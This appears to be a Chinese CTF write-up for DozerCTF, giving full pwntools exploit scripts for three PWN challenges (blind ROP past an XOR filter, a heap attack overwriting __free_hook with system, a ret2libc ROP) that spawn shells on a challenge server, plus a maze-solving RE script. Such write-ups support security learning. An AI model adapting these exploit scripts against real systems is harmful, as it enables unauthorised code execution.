摸摸鱼,补了半个月的作业,打打CTF放松下,下载附件
PWN
虚假的pwn题
1.主要就是有个异或6,过滤了"\x06"和"\x00"
2.然后测到偏移为0x58,之后爆破出start或者main函数地址为0x400796
3.再利用函数中的应该是write函数打印libc,因为libc我也不知道是哪一个,所以就最后12bit为0,然后n*0x1000一直减到libc,测到第二个libc地址的偏移为0x6F738
最后用one_gadget打通了
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def m(payload): |
4 | retval = "" |
5 | for i in payload: |
6 | if i == '\x06': |
7 | retval += chr((ord(i) + 1)^6) |
8 | elif i == '\x00': |
9 | retval += i |
10 | else: |
11 | retval += chr(ord(i)^6) |
12 | return retval |
13 | def leak_main(length,address): |
14 | for i in range(255): |
15 | p =remote('118.31.11.216',30009) |
16 | try: |
17 | p.recvuntil('[*] ---------------- Dozer Shell ----------------\n') |
18 | log.info('ADDRESS\t' + hex(address)) |
19 | p.sendline('U'*length + m(p64(address))) |
20 | output = p.recvline() |
21 | log.info('OUT:\t' + output) |
22 | p.interactive() |
23 | except: |
24 | p.close() |
25 | address = address + 1 |
26 | continue |
27 | |
28 | ''' |
29 | # get the stopgadget |
30 | for i in range(10): |
31 | tmp = 0x400101 |
32 | for n in range(10): |
33 | leak_main(length,tmp) |
34 | tmp += 0x100 |
35 | length += 1 |
36 |
|
37 | ''' |
38 | |
39 | length = 0x58 |
40 | main = 0x400796 |
41 | puts = 0x4007DB |
42 | libc =ELF('./libc-2.23.so') |
43 | for i in range(0x200): |
44 | p =remote('118.31.11.216',30009) |
45 | try: |
46 | p.recvuntil('[*] ---------------- Dozer Shell ----------------\n') |
47 | p.sendline('U'*length + m(p64(puts))) |
48 | p.recv(0x38) |
49 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x738 - 0x6F*0x1000 #i*0x1000 |
50 | log.info('LIBC:\t' + hex(libc_base)) |
51 | ''' |
52 | p.sendline('U'*length + m(p64(main))) |
53 | p.recvuntil('[*] ---------------- Dozer Shell ----------------\n') |
54 | ''' |
55 | p.sendline('U'*length + m(p64(libc_base + 0xF1147))) |
56 | log.info('INDEX:\t' + hex(i)) |
57 | p.sendline('cat flag') |
58 | p.recvuntil('ctf') |
59 | output = p.recvuntil('}') |
60 | log.info("FLAG:\t" + 'ctf' + output) |
61 | break |
62 | except: |
63 | p.close() |
64 | continue |
65 | p.interactive() |
酸菜鱼
手动替换下libc,然后unsorted bin attack攻击global_max_fast,实现任意写不确定值,再利用stdout打印出libc地址,之后利用fastbin attack的一个方法,将free_hook改成system
1 | from LD import* |
2 | from pwn import* |
3 | context.log_level ='DEBUG' |
4 | def new(size): |
5 | p.sendline('1') |
6 | sleep(0.01) |
7 | p.sendline(str(size)) |
8 | sleep(0.01) |
9 | def edit(offset,size,content): |
10 | p.sendline('2') |
11 | sleep(0.01) |
12 | p.sendline(str(offset)) |
13 | sleep(0.01) |
14 | p.sendline(str(size)) |
15 | sleep(0.01) |
16 | p.send(content) |
17 | sleep(0.01) |
18 | def free(offset): |
19 | p.sendline('3') |
20 | sleep(0.01) |
21 | p.sendline(str(offset)) |
22 | sleep(0.01) |
23 | elf =ELF('./main') |
24 | libc = ELF('./libc-2.25.so',checksec=False) |
25 | p = process('./main') |
26 | |
27 | #p = process(['./main'],env={"LD_PRELOAD":"./libc-2.25.so"}) |
28 | p = remote('118.31.11.216',30078) |
29 | edit(0x20,0xC0,p64(0) + p64(0x91) + '\x00'*0x80 + p64(0) + p64(0x21) + '\x00'*0x10 + p64(0) + p64(0x21)) |
30 | |
31 | free(0x30) |
32 | edit(0x38,2,'\xC0\xA7') |
33 | new(0x80) |
34 | edit(0x38,8,p64(0)) |
35 | |
36 | #modify the read_end |
37 | edit(0,0x10,p64(0) + p64(0x1630)) |
38 | edit(0x1630,0x10,p64(0) + p64(0x21)) |
39 | free(0x10) |
40 | |
41 | #modify the write_base |
42 | edit(0,0x10,p64(0) + p64(0x1650)) |
43 | edit(0x1650,0x10,p64(0) + p64(0x21)) |
44 | free(0x10) |
45 | |
46 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_'] |
47 | log.info('LIBC:\t' + hex(libc_base)) |
48 | |
49 | free_hook = libc_base + libc.sym['__free_hook'] |
50 | rce = libc_base + libc.sym['system'] |
51 | |
52 | |
53 | edit(0,0x10,p64(0) + p64(0x3920)) |
54 | edit(0x3920,0x10,p64(0) + p64(0x21)) |
55 | free(0x10) |
56 | edit(0x10,8,p64(rce)) |
57 | new(0x3910) |
58 | edit(0x10,8,"/bin/sh\x00") |
59 | free(0x10) |
60 | p.interactive() |
ret2 temp
简单ROP
1 | from pwn import* |
2 | from LibcSearcher import* |
3 | p = process('./main') |
4 | elf = ELF('./main') |
5 | p = remote('118.31.11.216',36666) |
6 | |
7 | payload = 'U'*0x70 + p32(elf.plt['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4) |
8 | p.sendline(payload) |
9 | write = u32(p.recvuntil('\xF7')[-4:]) |
10 | log.info('LIBC:\t' + hex(write)) |
11 | libc = LibcSearcher('write',write) |
12 | libc_base = write - libc.dump('write') |
13 | system = libc_base + libc.dump('system') |
14 | binsh = libc_base + libc.dump("str_bin_sh") |
15 | p.sendline("U"*0x70 + p32(system) + p32(0) + p32(binsh)) |
16 | p.interactive() |
RE
easy_maze
脱掉upx,去掉花指令,然后F5反编译,找到迷宫的数组,因为每走一步,方向标都会发生改变,写个脚本处理一下
1 | import os |
2 | import sys |
3 | from pwn import* |
4 | maze_str = [0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x00, |
5 | 0x41, 0x42, 0x42, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x00, |
6 | 0x41, 0x42, 0x42, 0x41, 0x42, 0x41, 0x00, 0x00, 0x42, 0x42, 0x41, 0x41, 0x00, |
7 | 0x41, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00, |
8 | 0x41, 0x41, 0x41, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00, |
9 | 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00, 0x00, 0x00, |
10 | 0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x00, 0x42, 0x42, 0x00, |
11 | 0x42, 0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, |
12 | 0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, |
13 | 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, |
14 | 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, |
15 | 0x42, 0x42, 0x42, 0x00, 0x00, 0x41, 0x41, 0x41, 0x42, 0x42, 0x41, 0x45, 0x00] |
16 | p = q = 0 |
17 | FLAG = "" |
18 | direction = ['W','A','S','D'] |
19 | for n in range(144): |
20 | if p <11 and maze_str[13*(p+1) + q]!= 1 and (maze_str[13*(p+1) + q]==0x41 or maze_str[13*(p+1) + q]==0x45): |
21 | FLAG += direction[2] |
22 | TMP = direction[2] |
23 | direction[2] = direction[0] |
24 | direction[0] = TMP |
25 | TMP = direction[1] |
26 | direction[1] = direction[3] |
27 | direction[3] = TMP |
28 | p += 1 |
29 | maze_str[13*p + q] = 1 |
30 | continue |
31 | if p >0 and maze_str[13*(p-1) + q] != 1 and (maze_str[13*(p-1) + q]==0x41 or maze_str[13*(p-1) + q]==0x45): |
32 | FLAG += direction[0] |
33 | TMP = direction[2] |
34 | direction[2] = direction[0] |
35 | direction[0] = TMP |
36 | p -= 1 |
37 | maze_str[13*p + q] = 1 |
38 | continue |
39 | if q <11 and maze_str[13*p + q + 1]!=1 and (maze_str[13*p + q + 1]==0x41 or maze_str[13*p + q + 1]==0x45): |
40 | FLAG += direction[3] |
41 | TMP = direction[3] |
42 | direction[3] = direction[2] |
43 | direction[2] = direction[1] |
44 | direction[1] = direction[0] |
45 | direction[0] = TMP |
46 | q += 1 |
47 | maze_str[13*p + q] = 1 |
48 | continue |
49 | if q >0 and maze_str[13*p + q - 1] != 1 and (maze_str[13*p + q - 1]==0x41 or maze_str[13*p + q - 1]==0x45): |
50 | FLAG += direction[1] |
51 | TMP = direction[0] |
52 | direction[0] = direction[1] |
53 | direction[1] = direction[2] |
54 | direction[2] = direction[3] |
55 | direction[3] = TMP |
56 | q -= 1 |
57 | maze_str[13*p + q] = 1 |
58 | continue |
59 | log.success("DozerCTF{" + FLAG + "}") |